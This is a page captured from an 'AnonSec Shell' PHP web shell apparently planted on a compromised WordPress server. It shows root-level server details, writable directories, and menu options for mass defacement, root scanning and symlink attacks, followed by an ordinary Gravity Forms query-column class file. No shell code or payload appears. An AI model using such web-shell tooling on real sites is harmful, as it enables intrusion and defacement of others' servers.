AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 3.144.85.61   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/gravityforms/includes/query/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/gravityforms/includes/query/class-gf-query-column.php
<?php

/**
 * The Gravity Forms Query Column class.
 */
class GF_Query_Column {

	/**
	 * @const Identifier for searching across any meta field.
	 */
	const META = '{{ANY META FIELD}}';

	/**
	 * @var string The field ID.
	 */
	private $_field_id;

	/**
	 * @var int|array The source.
	 */
	private $_source;

	/**
	 * @var string|false The alias override (for meta rows)
	 */
	private $_alias = false;

	/**
	 * Represents a column.
	 *
	 * @param string $field_id The field ID (meta key or column name).
	 * @param int|array $source The source this field is referencing.
	 * @param string|bool $alias An alias override. Default: false.
	 */
	public function __construct( $field_id, $source = 0, $alias = false ) {
		if ( ! ( is_int( $source ) || is_array( $source ) ) ) {
			return;
		}

		$this->_field_id = $field_id;
		$this->_source = $source;
		$this->_alias = $alias;
	}

	/**
	 * Get some SQL for this column.
	 *
	 * @param $query GF_Query The query.
	 *
	 * @return string The SQL.
	 */
	public function sql( $query ) {
		if ( ! $query instanceof GF_Query ) {
			return '';
		}

		if ( ! $this->field_id ) {
			return '';
		}

		if ( $this->is_entry_column() ) {
			return sprintf( '`%s`.`%s`', $this->alias ? $this->alias : $query->_alias( null, $this->source ), $this->field_id );
		} else if ( $this->is_meta_column() ) {
			return sprintf( '`%s`.`%s`', $this->alias ? $this->alias : $query->_alias( $this->field_id, $this->source, 'm' ), $this->field_id );
		}

		return '';
	}

	/**
	 * Whether this field is an entry column.
	 *
	 * @return boolean An entry column or not.
	 */
	public function is_entry_column() {
		if ( ! $this->field_id ) {
			return false;
		}

		static $entry_columns = array();
		if ( empty( $entry_columns ) ) {
			global $wpdb;
			$entry_columns = wp_list_pluck( $wpdb->get_results( 'SHOW COLUMNS FROM ' . GFFormsModel::get_entry_table_name(), ARRAY_A ), 'Field' );
		}
		return in_array( $this->field_id, $entry_columns );
	}

	/**
	 * Whether this field is a nullable entry column.
	 *
	 * @since 2.3.1.10
	 *
	 * @return boolean An entry column or not.
	 */
	public function is_nullable_entry_column() {
		if ( ! $this->field_id ) {
			return false;
		}

		static $nullable_entry_columns = array();
		if ( empty( $nullable_entry_columns ) ) {
			global $wpdb;
			$nullable_entry_columns = wp_list_pluck( $wpdb->get_results( 'SHOW COLUMNS FROM ' . GFFormsModel::get_entry_table_name() . " WHERE `Null` = 'YES'", ARRAY_A ), 'Field' );
		}
		return in_array( $this->field_id, $nullable_entry_columns );
	}



	/**
	 * Whether this field is a meta column.
	 *
	 * @return boolean A meta column or not.
	 */
	public function is_meta_column() {
		if ( ! $this->field_id ) {
			return false;
		}

		return in_array( $this->field_id, array( 'meta_key', 'meta_value' ) );
	}

	/**
	 * Proxy read-only values.
	 */
	public function __get( $key ) {
		switch ( $key ):
			case 'field_id':
				return $this->_field_id;
			case 'source':
				return $this->_source;
			case 'alias':
				return $this->_alias;
		endswitch;
	}
}

Anon7 - 2022
AnonSec Team